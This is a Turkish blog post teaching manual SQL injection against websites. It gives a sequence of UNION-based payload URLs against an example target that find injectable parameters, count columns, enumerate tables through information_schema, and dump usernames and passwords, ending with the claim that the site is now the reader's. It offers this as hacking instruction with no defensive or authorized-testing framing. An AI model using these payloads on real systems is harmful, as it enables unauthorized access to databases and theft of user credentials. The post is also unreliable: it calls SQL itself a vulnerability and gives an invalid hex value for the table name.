Yeni
Yükleniyor..

Who Am I

Merhaba Hoşgeldiniz ben İbrahim Gültepe Yazılım ve Siber Güvenlik uzmanıyım bu bloğu açmamdaki neden C# eğitimi ve güncel olan virüs donanım sorunlarını çözmek ve sizinde yapabileceğiniz hack çalışmalarını öğretmek.

SQL Açığını Bulma [Manuel]





SQL Nedir ?
SQL (Structured Query Language),Bir tür web sitesi açığıdır ve bu açık üzerinden sitelerin id ve password'larını kolay bir yöntemle elimize geçirebilmemize yarayan nimettir.Bazı web kodlarını yazan kişiler ufak bir hata gibi dursa aslında bir site için çok büyük açıktır.

SQL açığını sitelerde nasıl bulabiliriz ?


SQL hakkında bilgi aldık şimdi sıra bu açığı siteler üzerinde bulabilip uygulamaktayız.
İlk önce bu hatayı almamız için sitelerin adresinin sonunda "id değer" yani "search değer" bulunması lazım örnek vermek gerekirse;

Kod:
http://siteadı.com.article.php?id=sitenin değeri.

Bu "id değeri" nasıl bulursak konusuna gelirsek oda siteye girdiğinizde sitenin amacına göre sekmeler olur "iletişim,,bilgi vs." o sekmelere girdiğimizde bir değer alırız zaten SQL amacıda burda başlar.Kod yazılırken bir yerde bu hatayı kapatmazlar ve siz bunu kendiniz kurnazca kullanıp o sızıntıdan admin paneline ve şifrelerine ulaşmış oluyoruz.

Örnek;

Kod:
http:/www.hedefsite.com/
Bu sitenin anasayfası olarak hayal edelim.
Kod:
http://www.hedefsite.com/newsone.php?id=4
Buda sitenin id değerli hali.
Kod:
http://www.hedefsite.com/newsone.php?id=4'

Asıl konu şimdi başlıyor.Sitede SQL açığı olup olmamasında.Bunun için sitenin id değerinin sonuna ",','a gibi işaretler koyarak o sitenin bize hata vermesini sağlıyoruz.
Yukardaki haliyle yaptığımız zaman bize site hata verir örnek sitemiz "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a' at line 1" böyle bir hata verdi demekki bu sitede SQL açığı bulunmaktadır.
Farklı türde hatalar da verebilir siz onu ayırt edebilirsiniz zaten.


Sitenin verilerini dökmek için ne yapılır ?
Sitede kolon sayısını bulmak için "Order by.." komutu kullanılır.

Kod:
www.hedefsite.com/newsone.php?id=4 order by 1


Kod:
www.hedefsite.com/newsone.php?id=4 order by 6
Kod:
www.hedefsite.com/newsone.php?id=4 order by 15


En sonunda karşımıza hata gelir.O anda zaten ne kadar ileri sayı yazsan karşına hata gelicektir.
Peki,şimdi varsayıyorum order by 8 yazdık hata aldık o zaman bizim kolon sayımız (-n) 1 eksiğini alıyoruz kolon sayımız 7'dir.


Sıra geldi "Union Select" kodunu kullanmaya.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,2,3,4,5,6,7
kaç tane kolon sayınız varsa sayıları virgülle ayırıp yazıyoruz.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,2,3,4,5,6,7
En sonunda komut bu hali alıyor ve bu şekilde giriyoruz.
İd değerinizin arkasına yani eşittirin önüne "-" koymayı unutmayın veri dökmeyebilir.

Karşımıza kolon sayıları gelicek ben 1 ve 2 olduğunu hayal ediyorum.
Şimdi version alıcağız yani ekrana gelen sayılardan birini seçip yerine "version()" kodunu kullanacağız.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,version(),3,4,5,6,7
Bu komutu girdiğimizde karşımıza version kaç olduğu belirli olur çoğu zaman version 5 çıkar.
Şimdi sırada "Tablo adı" işlemleri var.

Tablo işleminin komutu,2 yerine "Table_name" ve sayıların sonuna "from information_schema.tables" yazmak.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,Table_name,3,4,5,6,7 from information_schema.tables
Komutu ilk girdiğimizde "CHARACTER_SETS" kolonu çıkar genellikle diğer tablolar gözükmez için komutun sonuna "Limit 1,1" ekliyoruz.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,Table_name,3,4,5,6,7 from information_schema.tables Limit 1,1

Limit kodunu arttırırsak işimize yarayan tabloları karşımıza çıkarabiliriz.BKZ: Limit 2,1 Limit 3,1

İşimize yarayan tablolar neler olabilir ? 

Users,Admin,Login,Config,User,Admins vs.

Ben Users olarak alıyorum.

Şimdi işlemimiz Hex'lemek olucak Users kolonlarını bulmamız için yarar.Bu işlemi yapan siteleri googlede arıyarak bulabiliriz.


Users Hex'lenmiş hali;

Kod:
1234v56a78
Users tablolarını şimdi çekebiliriz.

Tabloları çekebilmek için gene 2 kolonunu kullanıcağız.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=0x1234v56a78

Hex'in önüne 0x koymayı unutmayın.

İlk gelen tablo işimize yaramıyorsa, "komutun sonuna Limit 1 Offset 1" komutunu kullanacağız.Offseti arttırarak da gelen tablo sayısını arttırcaz.BKZ:Limit 1 Offset 2, Limit 1 Offset 3 vs.
İşimize yarayacak tablolar ?

Kullanıcı Adı;
User,Username,Name gibi.
Şifre için;
Password,Pass gibi.

Tabloları bulduğumuz da işimiz ordan verileri almak olucaktır.

Burda gene başta version sayıları işimize yarıcak biz 1 ve 2 olarak aldık.Onların yerine "group_concat(TabloAdı)" komutunu kullanıcaz.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select group_concat(Tablo Adı),group_Concat(Tablo Adı),3,4,5,6,7

Tablo adlarıyla düzenlemek gerekirse;

Kod:
www.hedefsite.com/newsone.php?id=-4 union select group_concat(Username),group_Concat(Password),3,4,5,6,7 from Users

Bu komutu yazdığımızda Users tablosundaki tüm site bilgileri önümüze düşücektir ve artık site elinizdedir.
Google Plus'da Paylaş

Yazar Unknown

Yazar hakkında bilgi yazılacak.
    Blogger Yorumları
    Facebook Yorumları

1 yorum :

Ziyaretçi Sayısı

15.08.2015 den itibaren Toplam 1.982.258 Kişi Tarafından Ziyaret Edildi